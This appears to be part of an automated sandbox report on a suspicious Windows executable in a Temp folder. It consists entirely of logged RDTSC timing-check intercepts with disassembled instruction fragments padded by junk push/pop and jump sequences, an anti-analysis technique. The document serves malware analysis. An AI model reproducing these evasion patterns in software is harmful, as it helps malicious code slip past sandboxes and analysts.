Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10631CC second address: 10631DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 jo 00007F3460BFB966h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1063301 second address: 1063305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1062990 second address: 106299B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007F3460BFB966h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1063608 second address: 1063615 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3460CF07F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1063615 second address: 1063622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1063622 second address: 106362F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3460CF07F6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10637A1 second address: 10637BA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F3460BFB970h 0x00000008 pop ebx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10638EB second address: 10638F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnp 00007F3460CF07FCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10638F8 second address: 1063916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F3460BFB977h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1063916 second address: 1063920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1063920 second address: 1063950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3460BFB96Eh 0x0000000b jmp 00007F3460BFB978h 0x00000010 popad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10670EB second address: 1067118 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF07FFh 0x00000007 push ecx 0x00000008 jnl 00007F3460CF07F6h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F3460CF07FEh 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1027406 second address: 1027410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10274EF second address: 1027502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3460CF07FAh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1027502 second address: 1027506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 102799B second address: 10279D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3460CF07F6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f js 00007F3460CF07F6h 0x00000015 pop edx 0x00000016 push esi 0x00000017 jg 00007F3460CF07F6h 0x0000001d pop esi 0x0000001e popad 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 pushad 0x00000024 jmp 00007F3460CF0800h 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10279D3 second address: 1027A3E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3460BFB966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e jc 00007F3460BFB968h 0x00000014 pushad 0x00000015 popad 0x00000016 push ebx 0x00000017 jne 00007F3460BFB966h 0x0000001d pop ebx 0x0000001e popad 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 pushad 0x00000024 jmp 00007F3460BFB976h 0x00000029 jmp 00007F3460BFB977h 0x0000002e popad 0x0000002f pop eax 0x00000030 mov ecx, 56FC16B9h 0x00000035 call 00007F3460BFB969h 0x0000003a push eax 0x0000003b push edx 0x0000003c jl 00007F3460BFB968h 0x00000042 push eax 0x00000043 pop eax 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1027A3E second address: 1027A98 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F3460CF0808h 0x0000000f jmp 00007F3460CF07FCh 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push edi 0x0000001a jmp 00007F3460CF07FAh 0x0000001f pop edi 0x00000020 mov eax, dword ptr [eax] 0x00000022 jc 00007F3460CF07FEh 0x00000028 push edx 0x00000029 jnp 00007F3460CF07F6h 0x0000002f pop edx 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push ebx 0x00000038 pop ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1027A98 second address: 1027A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1027BF6 second address: 1027BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1027BFF second address: 1027C03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1027C03 second address: 1027C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 jc 00007F3460CF07FCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10282DD second address: 10282E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1028553 second address: 1028559 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 102868D second address: 10286F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB96Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b jp 00007F3460BFB97Bh 0x00000011 pushad 0x00000012 jmp 00007F3460BFB971h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007F3460BFB968h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 0000001Bh 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 xor cl, 0000007Bh 0x00000038 lea eax, dword ptr [ebp+1247C0B9h] 0x0000003e mov edi, esi 0x00000040 nop 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10286F0 second address: 10286FA instructions: 0x00000000 rdtsc 0x00000002 js 00007F3460CF07F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10286FA second address: 1028726 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB979h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F3460BFB96Ch 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1028726 second address: 100D5C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0802h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a and edx, dword ptr [ebp+122D3754h] 0x00000010 jc 00007F3460CF07FCh 0x00000016 add edx, dword ptr [ebp+122D3790h] 0x0000001c call dword ptr [ebp+122D2CF7h] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F3460CF0804h 0x00000029 jnp 00007F3460CF0800h 0x0000002f jmp 00007F3460CF07FAh 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 100D5C9 second address: 100D5D8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3460BFB96Ah 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10673D6 second address: 10673E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F3460CF07F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10673E0 second address: 1067400 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F3460BFB973h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10676C4 second address: 10676CE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3460CF07F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10676CE second address: 10676D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10676D4 second address: 10676EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F3460CF07F6h 0x0000000a jmp 00007F3460CF07FEh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 106781A second address: 106781E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 106781E second address: 1067844 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0802h 0x00000007 jmp 00007F3460CF07FDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 106B31A second address: 106B321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 106E522 second address: 106E541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnl 00007F3460CF07FEh 0x0000000d pop esi 0x0000000e push esi 0x0000000f jo 00007F3460CF0802h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1072401 second address: 1072405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1072C04 second address: 1072C0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1072D6F second address: 1072D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jng 00007F3460BFB966h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1072D7D second address: 1072D8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F3460CF07F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1072D8C second address: 1072D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1073358 second address: 107335E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1073764 second address: 1073774 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F3460BFB972h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1073774 second address: 1073786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3460CF07F6h 0x0000000a jl 00007F3460CF07FCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 107218F second address: 1072193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1072193 second address: 107219F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1075ED2 second address: 1075EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3460BFB96Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1078669 second address: 107868D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3460CF07F6h 0x0000000a popad 0x0000000b jnc 00007F3460CF0809h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1078917 second address: 107891F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 107CDC9 second address: 107CDE8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F3460CF07FFh 0x0000000e jnl 00007F3460CF07F6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 107D386 second address: 107D3CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3460BFB975h 0x00000009 push edx 0x0000000a jo 00007F3460BFB966h 0x00000010 jmp 00007F3460BFB96Fh 0x00000015 pop edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3460BFB96Eh 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 pop edi 0x00000022 push edi 0x00000023 pop edi 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 107D3CD second address: 107D3ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0806h 0x00000007 jo 00007F3460CF07F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 107D3ED second address: 107D3F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F3460BFB966h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1082DB6 second address: 1082DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1082DBC second address: 1082DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnc 00007F3460BFB966h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10815AF second address: 10815B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3460CF07F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10815B9 second address: 10815F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB970h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F3460BFB979h 0x00000011 pop eax 0x00000012 popad 0x00000013 jnp 00007F3460BFB980h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10815F5 second address: 10815FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1081A22 second address: 1081A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 jc 00007F3460BFB966h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1081F13 second address: 1081F17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1081F17 second address: 1081F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3460BFB966h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1082A51 second address: 1082A6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0804h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1082A6F second address: 1082A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1082A75 second address: 1082A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1086770 second address: 108677A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3460BFB966h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108677A second address: 108678E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3460CF07F6h 0x00000008 jnc 00007F3460CF07F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108678E second address: 1086792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1086792 second address: 1086798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1085FD4 second address: 1085FD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1086139 second address: 1086147 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3460CF07F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1086147 second address: 108614B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108614B second address: 1086151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1086482 second address: 1086488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1086488 second address: 108648C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108C3C3 second address: 108C3CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108C3CB second address: 108C3D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108C971 second address: 108C977 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108C977 second address: 108C981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108C981 second address: 108C987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108C987 second address: 108C98B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108C98B second address: 108C991 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 108D192 second address: 108D196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
